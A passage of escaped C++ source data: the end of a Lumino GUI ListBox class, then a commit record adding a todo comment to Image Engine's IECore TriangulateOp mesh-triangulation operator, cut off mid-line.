Control(manager)\n\t, m_listBoxItems(LN_NEW ListBoxItemList(this))\n{\n\tm_itemsPanel.Attach(LN_NEW StackPanel(manager));\n\tAddVisualChild(m_itemsPanel);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nListBox::~ListBox()\n{\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::InsertItem(int index, UIElement* element)\n{\n\tRefPtr<ListBoxItem> item(LN_NEW ListBoxItem(m_manager));\n\titem->SetContent(element);\n\tm_listBoxItems->Insert(index, item);\n}\n#if 0\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nUIElement* ListBox::CheckMouseHoverElement(const PointF& globalPt)\n{\n\tif (m_itemsPanel != NULL) {\t\/\/ qvfD\n\t\tUIElement* e = m_itemsPanel->CheckMouseHoverElement(globalPt);\n\t\tif (e != NULL) { return e; }\n\t}\n\treturn UIElement::CheckMouseHoverElement(globalPt);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::ApplyTemplateHierarchy(CombinedLocalResource* parent)\n{\n\tControl::ApplyTemplateHierarchy(parent);\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->ApplyTemplateHierarchy(m_combinedLocalResource);\t\/\/ ċAIɍXV\n\t}\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::MeasureLayout(const SizeF& availableSize)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->MeasureLayout(availableSize);\t\/\/ ɘgƂȂ̂ł̂܂܂̃TCYn\n\t}\n\tControl::MeasureLayout(availableSize);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::ArrangeLayout(const RectF& finalRect)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->ArrangeLayout(finalRect);\t\/\/ ɘgƂȂ̂ł̂܂܂̃TCYn\n\t}\n\tControl::ArrangeLayout(finalRect);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nbool ListBox::OnEvent(EventType type, EventArgs* args)\n{\n\tif (m_itemsPanel != NULL) {\n\t\tif (m_itemsPanel->OnEvent(type, args)) { return true; }\n\t}\n\treturn Control::OnEvent(type, args);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::Render()\n{\n\tControl::Render();\n\tif (m_itemsPanel != NULL) {\n\t\tm_itemsPanel->Render();\n\t}\n}\n#endif\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::OnListBoxItemAdded(ListBoxItem* item)\n{\n\tm_itemsPanel->GetChildren()->Add(item);\n}\n\n\/\/-----------------------------------------------------------------------------\n\/\/\n\/\/-----------------------------------------------------------------------------\nvoid ListBox::OnListBoxItemRemoved(ListBoxItem* item)\n{\n\tLN_THROW(0, NotImplementedException);\n\t\/\/m_itemsPanel->GetChildren()->Remove(item);\n}\n\n} \/\/ namespace GUI\n} \/\/ namespace Lumino\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2008, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECore\/CompoundObject.h\"\n#include \"IECore\/MeshPrimitive.h\"\n#include \"IECore\/TriangulateOp.h\"\n#include \"IECore\/DespatchTypedData.h\"\n#include \"IECore\/TriangleAlgo.h\"\n#include \"IECore\/Exception.h\"\n#include \"IECore\/CompoundParameter.h\"\n\nusing namespace IECore;\n\nTriangulateOp::TriangulateOp() : MeshPrimitiveOp( staticTypeName(), \"A MeshPrimitiveOp to triangulate a mesh\" )\n{\n\tm_toleranceParameter = new FloatParameter(\n\t\t\"tolerance\",\n\t\t\"The floating point tolerance to use for various operations, such as determining planarity of faces\",\n\t\t1.e-6f,\n\t\t0.0f\n\t);\n\t\n\tm_throwExceptionsParameter = new BoolParameter(\n\t\t\"throwExceptions\",\n\t\t\"When enabled, exceptions are thrown when invalid geometry is encountered (e.g. non-planar or concave faces).\",\n\t\ttrue\n\t);\n\t\n\t\n\tparameters()->addParameter( m_toleranceParameter );\n\tparameters()->addParameter( m_throwExceptionsParameter );\t\n}\n\nTriangulateOp::~TriangulateOp()\n{\n}\n\nFloatParameterPtr TriangulateOp::toleranceParameter()\n{\n\treturn m_toleranceParameter;\n}\n\nConstFloatParameterPtr TriangulateOp::toleranceParameter() const\n{\n\treturn m_toleranceParameter;\n}\n\nBoolParameterPtr TriangulateOp::throwExceptionsParameter()\n{\n\treturn m_throwExceptionsParameter;\n}\n\nConstBoolParameterPtr TriangulateOp::throwExceptionsParameter() const\n{\n\treturn m_throwExceptionsParameter;\n}\n\n\/\/\/ A functor for use with despatchTypedData, which copies elements from another vector, as specified by an array of indices into that data\nstruct TriangleDataRemap\n{\n\ttypedef size_t ReturnType;\n\t\n\tTriangleDataRemap( const std::vector<int> &indices ) : m_indices( indices )\n\t{\n\t}\n\n\tConstDataPtr m_other;\n\tconst std::vector<int> &m_indices;\n\n\ttemplate<typename T>\n\tsize_t operator() ( typename T::Ptr data )\n\t{\n\t\tassert( data );\n\t\ttypename T::ConstPtr otherData = runTimeCast<const T>( m_other );\n\t\tassert( otherData );\n\n\t\tdata->writable().clear();\n\t\tdata->writable().reserve( m_indices.size() );\n\n\t\tfor ( std::vector<int>::const_iterator it = m_indices.begin(); it != m_indices.end(); ++it )\n\t\t{\n\t\t\tdata->writable().push_back( otherData->readable()[ *it ] );\n\t\t}\n\t\t\n\t\tassert( data->readable().size() == m_indices.size() );\n\n\t\treturn data->readable().size();\n\t}\n};\n\nvoid TriangulateOp::modifyTypedPrimitive( MeshPrimitivePtr mesh, ConstCompoundObjectPtr operands )\n{\n\n\tif (! mesh->arePrimitiveVariablesValid() )\n\t{\n\t\tthrow InvalidArgumentException( \"Mesh with invalid primitive variables given to TriangulateOp\");\n\t}\n\n\tbool alreadyTriangulated = true;\n\tConstIntVectorDataPtr verticesPerFace = mesh->verticesPerFace();\n\tIntVectorData::ValueType::const_iterator it = verticesPerFace->readable().begin();\n\twhile ( it != verticesPerFace->readable().end() && alreadyTriangulated )\n\t{\n\t\tif (*it++ != 3)\n\t\t{\n\t\t\talreadyTriangulated = false;\n\t\t}\n\t}\n\n\tif ( alreadyTriangulated )\n\t{\n\t\treturn;\n\t}\n\t\n\tconst float tolerance = toleranceParameter()->getNumericValue();\n\tbool throwExceptions = boost::static_pointer_cast<const BoolData>(throwExceptionsParameter()->getValue())->readable();\n\t\n\tConstV3fVectorDataPtr p = 0;\n\t\n\tPrimitiveVariableMap::const_iterator pvIt = mesh->variables.find(\"P\");\n\tif (pvIt != mesh->variables.end())\n\t{\n\t\tconst DataPtr &verticesData = pvIt->second.data;\n\t\tassert( verticesData );\n\t\t\n\t\tif (runTimeCast<V3fVectorData>(verticesData))\n\t\t{\n\t\t\tp = runTimeCast<V3fVectorData>(verticesData);\t\t\t\n\t\t}\t\t\n\t\telse\n\t\t{\n\t\t\tstd::string err = \"MeshPrimitive has \\\"P\\\" of unsupported type \\\"\";\n\t\t\terr += verticesData->typeName();\n\t\t\terr += \"\\\" in TriangulateOp\";\n\t\t\tthrow InvalidArgumentException( err );\n\t\t}\n\t}\n\telse\n\t{\n\t\tthrow InvalidArgumentException(\"MeshPrimitive has no \\\"P\\\" data in TriangulateOp\");\n\t}\n\tassert( p );\n\t\n\n\tConstIntVectorDataPtr vertexIds = mesh->vertexIds();\n\n\tIntVectorDataPtr newVertexIds = new IntVectorData();\n\tnewVertexIds->writable().reserve( vertexIds->readable().size() );\n\n\tIntVectorDataPtr newVerticesPerFace = new IntVectorData();\n\tnewVerticesPerFace->writable().reserve( verticesPerFace->readable().size() );\n\n\tstd::vector<int> faceVaryingIndices;\n\tint faceVertexIdStart = 0;\n\tfor ( IntVectorData::ValueType::const_iterator it = verticesPerFace->readable().begin(); it != verticesPerFace->readable().end(); ++it )\n\t{\n\t\tint numFaceVerts = *it;\n\n\t\tif ( numFaceVerts > 3 )\n\t\t{\t\t\n\t\t\t\/\/\/ For the time being, just do a simple triangle fan.\n\t\t\t\n\t\t\tconst int i0 = faceVertexIdStart + 0;\n\t\t\tconst int v0 = vertexIds->readable()[ i0 ]; \n\t\t\t\n\t\t\tint i1 = faceVertexIdStart + 1;\n\t\t\tint i2 = faceVertexIdStart + 2;\n\t\t\tint v1 = vertexIds->readable()[ i1 ];\n\t\t\tint v2 = vertexIds->readable()[ i2 ];\n\t\t\t\n\t\t\tconst Imath::V3f firstTriangleNormal = triangleNormal( p->readable()[ v0 ], p->readable()[ v1 ], p->readable()[ v2 ] );\n\t\t\t\n\t\t\tif (throwExceptions)\n\t\t\t{\n\t\t\t\t\/\/\/ Convexivity test - for each edge, all other vertices must be on the same \"side\" of it\n\t\t\t\tfor (int i = 0; i < numFaceVerts - 1; i++)\n\t\t\t\t{\n\t\t\t\t\tconst int edgeStartIndex = faceVertexIdStart + i + 0;\n\t\t\t\t\tconst int edgeStart = vertexIds->readable()[ edgeStartIndex ];\t\t\t\t\n\n\t\t\t\t\tconst int edgeEndIndex = faceVertexIdStart + i + 1;\n\t\t\t\t\tconst int edgeEnd = vertexIds->readable()[ edgeEndIndex ];\t\t\t\t\t\t\t\t\n\n\t\t\t\t\tconst Imath::V3f edge = p->readable()[ edgeEnd ] - p->readable()[ edgeStart ];\n\t\t\t\t\tconst float edgeLength = edge.length();\t\t\t\t\n\n\t\t\t\t\tif (edgeLength > tolerance)\n\t\t\t\t\t{\n\t\t\t\t\t\tconst Imath::V3f edgeDirection = edge \/ edgeLength;\n\n\t\t\t\t\t\t\/\/\/ Construct a plane whose normal is perpendicular to both the edge and the polygon's normal\n\t\t\t\t\t\tconst Imath::V3f planeNormal = edgeDirection.cross( firstTriangleNormal );\n\t\t\t\t\t\tconst float planeConstant = planeNormal.dot( p->readable()[ edgeStart ] );\t\n\n\t\t\t\t\t\tint sign = 0;\n\t\t\t\t\t\tbool first = true;\n\t\t\t\t\t\tfor (int j = 0; j < numFaceVerts; j++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tconst int testVertexIndex = faceVertexIdStart + j;\t\t\t\t\t\t\n\t\t\t\t\t\t\tconst int testVertex = vertexIds->readable()[ testVertexIndex ];\n\n\t\t\t\t\t\t\tif ( testVertex != edgeStart && testVertex != edgeEnd )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfloat signedDistance = planeNormal.dot( p->readable()[ testVertex ] ) - planeConstant;\n\n\t\t\t\t\t\t\t\tif ( fabs(signedDistance) > tolerance)\n\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tint thisSign = 1;\n\t\t\t\t\t\t\t\t\tif ( signedDistance < 0.0 )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tthisSign = -1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (first)\n\t\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tsign = thisSign;\n\t\t\t\t\t\t\t\t\t\tfirst = false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse if ( thisSign != sign )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tassert( sign != 0 );\n\t\t\t\t\t\t\t\t\t\tthrow InvalidArgumentException(\"TriangulateOp cannot deal with concave polygons\");\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor (int i = 1; i < numFaceVerts - 1; i++)\n\t\t\t{\n\t\t\t\ti1 = faceVertexIdStart + ( (i + 0) % numFaceVerts );\n\t\t\t\ti2 = faceVertexIdStart + ( (i + 1) % numFaceVerts );\n\t\t\t\tv1 = vertexIds->readable()[ i1 ];\n\t\t\t\tv2 = vertexIds->readable()[ i2 ];\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif ( throwExceptions && fabs( triangleNormal( p->readable()[ v0 ], p->readable()[ v1 ], p->readable()[ v2 ] ).dot( firstTriangleNormal ) - 1.0 ) > tolerance )\n\t\t\t\t{\n\t\t\t\t\tthrow InvalidArgumentException(\"TriangulateOp cannot deal with non-planar polygons\");\n\t\t\t\t}\n\n\t\t\t\t\/\/\/ Create a new triangle\n\t\t\t\tnewVerticesPerFace->writable().push_back( 3 );\n\n\t\t\t\t\/\/\/ Triangulate the vertices\n\t\t\t\tnewVertexIds->writable().push_back( v0 );\n\t\t\t\tnewVertexIds->writable().push_back( v1 );\n\t\t\t\tnewVertexIds->writable().push_back( v2 );\n\n\t\t\t\t\/\/\/ Store the indices required to rebuild the facevarying primvars\n\t\t\t\tfaceVaryingIndices.push_back( i0 );\n\t\t\t\tfaceVaryingIndices.push_back( i1 );\n\t\t\t\tfaceVaryingIndices.push_back( i2 );\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\tassert( numFaceVerts == 3 );\n\n\t\t\tint i0 = faceVertexIdStart + 0;\n\t\t\tint i1 = faceVertexIdStart + 1;\n\t\t\tint i2 = faceVertexIdStart + 2;\n\n\t\t\tnewVerticesPerFace->writable().push_back( 3 );\n\n\t\t\t\/\/\/ Copy across the vertexId data\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i0 ] );\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i1 ] );\n\t\t\tnewVertexIds->writable().push_back( vertexIds->readable()[ i2 ] );\n\n\t\t\t\/\/\/ Store the indices required to rebuild the facevarying primvars\n\t\t\tfaceVaryingIndices.push_back( i0 );\n\t\t\tfaceVaryingIndices.push_back( i1 );\n\t\t\tfaceVaryingIndices.push_back( i2 );\n\t\t}\n\n\t\tfaceVertexIdStart += numFaceVerts;\n\t}\n\n\tmesh->setTopology( newVerticesPerFace, newVertexIds );\n\n\t\/\/\/ Rebuild all the facevarying primvars, using the list of indices into the old data we created above.\n\tassert( faceVaryingIndices.size() == newVertexIds->readable().size() );\n\tTriangleDataRemap func( faceVaryingIndices );\n\tfor ( PrimitiveVariableMap::iterator it = mesh->variables.begin(); it != mesh->variables.end(); ++it )\n\t{\n\t\tif ( it->second.interpolation == PrimitiveVariable::FaceVarying )\n\t\t{\n \t\t\tassert( it->second.data );\n\t\t\tfunc.m_other = it->second.data;\n\t\t\tDataPtr data = it->second.data->copy();\n\n\t\t\tsize_t primVarSize = despatchTypedData<TriangleDataRemap, TypeTraits::IsVectorTypedData>( data, func );\n\t\t\tassert( primVarSize == faceVaryingIndices.size() );\n\t\t\t(void)primVarSize;\n\n\t\t\tit->second.data = data;\n\t\t}\n\t}\n\t\n\tassert( mesh->arePrimitiveVariablesValid() );\n}\n<commit_msg>Added todo<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2008, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n\/\/ CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n\/\/ EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n\/\/ PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n\/\/ PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n\/\/ LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n\/\/ NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n\/\/ SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"IECore\/CompoundObject.h\"\n#include \"IECore\/MeshPrimitive.h\"\n#include \"IECore\/TriangulateOp.h\"\n#include \"IECore\/DespatchTypedData.h\"\n#include \"IECore\/TriangleAlgo.h\"\n#include \"IECore\/Exception.h\"\n#include \"IECore\/CompoundParameter.h\"\n\nusing namespace IECore;\n\nTriangulateOp::TriangulateOp() : MeshPrimitiveOp( staticTypeName(), \"A MeshPrimitiveOp to triangulate a mesh\" )\n{\n\tm_toleranceParameter = new FloatParameter(\n\t\t\"tolerance\",\n\t\t\"The floating point tolerance to use for various operations, such as determining planarity of faces\",\n\t\t1.e-6f,\n\t\t0.0f\n\t);\n\t\n\tm_throwExceptionsParameter = new BoolParameter(\n\t\t\"throwExceptions\",\n\t\t\"When enabled, exceptions are thrown when invalid geometry is encountered (e.g. non-planar or concave faces).\",\n\t\ttrue\n\t);\n\t\n\t\n\tparameters()->addParameter( m_toleranceParameter );\n\tparameters()->addParameter( m_throwExceptionsParameter );\t\n}\n\nTriangulateOp::~TriangulateOp()\n{\n}\n\nFloatParameterPtr TriangulateOp::toleranceParameter()\n{\n\treturn m_toleranceParameter;\n}\n\nConstFloatParameterPtr TriangulateOp::toleranceParameter() const\n{\n\treturn m_toleranceParameter;\n}\n\nBoolParameterPtr TriangulateOp::throwExceptionsParameter()\n{\n\treturn m_throwExceptionsParameter;\n}\n\nConstBoolParameterPtr TriangulateOp::throwExceptionsParameter() const\n{\n\treturn m_throwExceptionsParameter;\n}\n\n\/\/\/ A functor for use with despatchTypedData, which copies elements from another vector, as specified by an array of indices into that data\nstruct TriangleDataRemap\n{\n\ttypedef size_t ReturnType;\n\t\n\tTriangleDataRemap( const std::vector<int> &indices ) : m_indices( indices )\n\t{\n\t}\n\n\tConstDataPtr m_other;\n\tconst std::vector<int> &m_indices;\n\n\ttemplate<typename T>\n\tsize_t operator() ( typename T::Ptr data )\n\t{\n\t\tassert( data );\n\t\ttypename T::ConstPtr otherData = runTimeCast<const T>( m_other );\n\t\tassert( otherData );\n\n\t\tdata->writable().clear();\n\t\tdata->writable().reserve( m_indices.size() );\n\n\t\tfor ( std::vector<int>::const_iterator it = m_indices.begin(); it != m_indices.end(); ++it )\n\t\t{\n\t\t\tdata->writable().push_back( otherData->readable()[ *it ] );\n\t\t}\n\t\t\n\t\tassert( data->readable().size() == m_indices.size() );\n\n\t\treturn data->readable().size();\n\t}\n};\n\nvoid TriangulateOp::modifyTypedPrimitive( MeshPrimitivePtr mesh, ConstCompoundObjectPtr operands )\n{\n\n\tif (! mesh->arePrimitiveVariablesValid() )\n\t{\n\t\tthrow InvalidArgumentException( \"Mesh with invalid primitive variables given to TriangulateOp\");\n\t}\n\n\tbool alreadyTriangulated = true;\n\tConstIntVectorDataPtr verticesPerFace = mesh->verticesPerFace();\n\tIntVectorData::ValueType::const_iterator it = verticesPerFace->readable().begin();\n\twhile ( it != verticesPerFace->readable().end() && alreadyTriangulated )\n\t{\n\t\tif (*it++ != 3)\n\t\t{\n\t\t\talreadyTriangulated = false;\n\t\t}\n\t}\n\n\tif ( alreadyTriangulated )\n\t{\n\t\treturn;\n\t}\n\t\n\tconst float tolerance = toleranceParameter()->getNumericValue();\n\tbool throwExceptions = boost::static_pointer_cast<const BoolData>(throwExceptionsParameter()->getValue())->readable();\n\t\n\tConstV3fVectorDataPtr p = 0;\n\t\n\tPrimitiveVariableMap::const_iterator pvIt = mesh->variables.find(\"P\");\n\tif (pvIt != mesh->variables.end())\n\t{\n\t\tconst DataPtr &verticesData = pvIt->second.data;\n\t\tassert( verticesData );\n\t\t\n\t\t\/\/\/ \\todo Use depatchTypedData\n\t\tif (runTimeCast<V3fVectorData>(verticesData))\n\t\t{\n\t\t\tp = runTimeCast<V3fVectorData>(verticesData);\t\t\t\n\t\t}\t\t\n\t\telse\n\t\t{\n\t\t\tstd::string err = \"MeshPrimitive has \\\"P\\\" of unsupported type \\\"\";\n\t\t\terr += verticesData->typeName();\n\t\t\terr += \"\\\" in TriangulateOp\";\n\t\t\tthrow InvalidArgumentException( err );\n\t\t}\n\t}\n\telse\n\t{\n\t\tthrow InvalidArgumentException(\"MeshPrimitive has no \\\"P\\\" data in TriangulateOp\");\n\t}\n\tassert( p );\n\t\n\n\tConstIntVectorDataPtr vertexIds = mesh->vertexIds();\n\n\tIntVectorDataPtr newVertexIds = new IntVectorData();\n\tnewVertexIds->writable().reserve( vertexIds->readable().size() );\n\n\tIntVectorDataPtr newVerticesPerFace = new IntVectorData();\n\tnewVerticesPerFace->writable().reserve( verticesPerFace->readable().size() );\n\n\tstd::vector<int> faceVaryingIndices;\n\tint faceVertexIdStart = 0;\n\tfor ( IntVectorData::ValueType::const_iterator it = verticesPerFace->readable().begin(); it != verticesPerFace->readable().end(); ++it )\n\t{\n\t\tint numFaceVerts = *it;\n\n\t\tif ( numFaceVerts > 3 )\n\t\t{\t\t\n\t\t\t\/\/\/ For the time being, just do a simple triangle fan.\n\t\t\t\n\t\t\tconst int i0 = faceVertexIdStart + 0;\n\t\t\tconst int v0 = vertexIds->readable()[ i0 ]; \n\t\t\t\n\t\t\tint i1 = faceVertexIdStart + 1;\n\t\t\tint i2 = faceVertexIdStart + 2;\n\t\t\tint v1 = vertexIds->readable()[ i1 ];\n\t\t\tint v2 = vertexIds->readable()[ i2 ];\n\t\t\t\n\t\t\tconst Imath::V3f firstTriangleNormal = triangleNormal( p->readable()[ v0 ], p->readable()[ v1 ], p->readable()[ v2 ] );\n\t\t\t\n\t\t\tif (throwExceptions)\n\t\t\t{\n\t\t\t\t\/\/\/ Convexivity test - for each edge, all other vertices must be on the same \"side\" of it\n\t\t\t\tfor (int i = 0; i < numFaceVerts - 1; i++)\n\t\t\t\t{\n\t\t\t\t\tconst int edgeStartIndex = faceVertexIdStart + i + 0;\n\t\t\t\t\tconst int edgeStart = vertexIds->readable()[ edgeStartIndex ];\t\t\t\t\n\n\t\t\t\t\tconst int edgeEndIndex = faceVertexIdStart + i + 1;\n\t\t\t\t\tconst int edgeEnd = vertexIds->readable()[ edgeEndIndex ];\t\t\t\t\t\t\t\t\n\n\t\t\t\t\tconst Imath::V3f edge = p->readable()[ edgeEnd ] - p->readable()[ edgeStart ];\n\t\t\t\t\tconst float edgeLength = edge.length();\t\t\t\t\n\n\t\t\t\t\tif (edgeLength > tolerance)\n\t\t\t\t\t{\n\t\t\t\t\t\tconst Imath::V3f edgeDirection = edge \/ edgeLength;\n\n\t\t\t\t\t\t\/\/\/ Construct a plane whose normal is perpendicular to both the edge and the polygon's normal\n\t\t\t\t\t\tconst Imath::V3f planeNormal = edgeDirection.cross( firstTriangleNormal );\n\t\t\t\t\t\tconst float planeConstant = planeNormal.dot( p->readable()[ edgeStart ] );\t\n\n\t\t\t\t\t\tint sign = 0;\n\t\t\t\t\t\tbool first = true;\n\t\t\t\t\t\tfor (int j = 0; j < numFaceVerts; j++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tconst int testVertexIndex = faceVertexIdStart + j;\t\t\t\t\t\t\n\t\t\t\t\t\t\tconst int testVertex = vertexIds->readable()[ testVertexIndex ];\n\n\t\t\t\t\t\t\tif ( testVertex != edgeStart && testVertex != edgeEnd )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tfloat signedDistance = planeNormal.dot( p->readable()[ testVertex ] ) - planeConstant;\n\n\t\t\t\t\t\t\t\tif ( fabs(signedDistance) > tolerance)\n\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\tint thisSign = 1;\n\t\t\t\t\t\t\t\t\tif ( signedDistance < 0.0 )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tthisSign = -1;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\tif (first)\n\t\t\t\t\t\t\t\t\t{\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\tsign = thisSign;\n\t\t\t\t\t\t\t\t\t\tfirst = false;\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t\telse if ( thisSign != sign )\n\t\t\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\t\t\tassert( sign != 0 );\n\t\t\t\t\t\t\t\t\t\tthrow InvalidArgumentException(\"TriangulateOp cannot deal with concave polygons\");\n\t\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t\tfor (int i = 1; i < numFaceVerts - 1; i++)\n\t\t\t{\n\t\t\t\ti1 = faceVertexIdStart + ( (i + 0) % numFaceVerts );\n\t\t\t\ti2 = faceVertexIdStart + ( (i + 1) % numFaceVerts );\n\t\t\t\tv1 = vertexIds->readable()[ i1 ];\n\t\t\t\tv2 = vertexIds->readable()[ i2 ];\t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\tif ( throwExceptions && fabs( triangleNormal( p->readable()[ v0 ], p->readable()[ v1 ], p->readable()[ v2 ] ).dot( firstTriangleNormal ) - 1.0 ) > tolerance )\n\t\t\t\t{\n\t\t\t\t\tthrow InvalidArgumentException(\"TriangulateOp cannot deal with non-planar polygons\");\n\t\t\t\t}\n\n\t\t\t\t\/\/\/ Create a new triangle\n\t\t\t\tnewVerticesPerFace->writable().push_back( 3 );\n\n\t\t\t\t\/\/\/ Triangulate the vertices\n\t\t\t\tnewVertexIds->writable().push_back( v0 );\n\t\t\t\tnewVertexIds->writable().push_back( v1 );\n\t\t\t\tnewVertexIds->writable().push_back( v2 );\n\n\t\t\t\t\/\/\/ Store the indices required to rebuild the facevarying primvars\n\t\t\t\tfaceVaryingIndices.push_back( i0 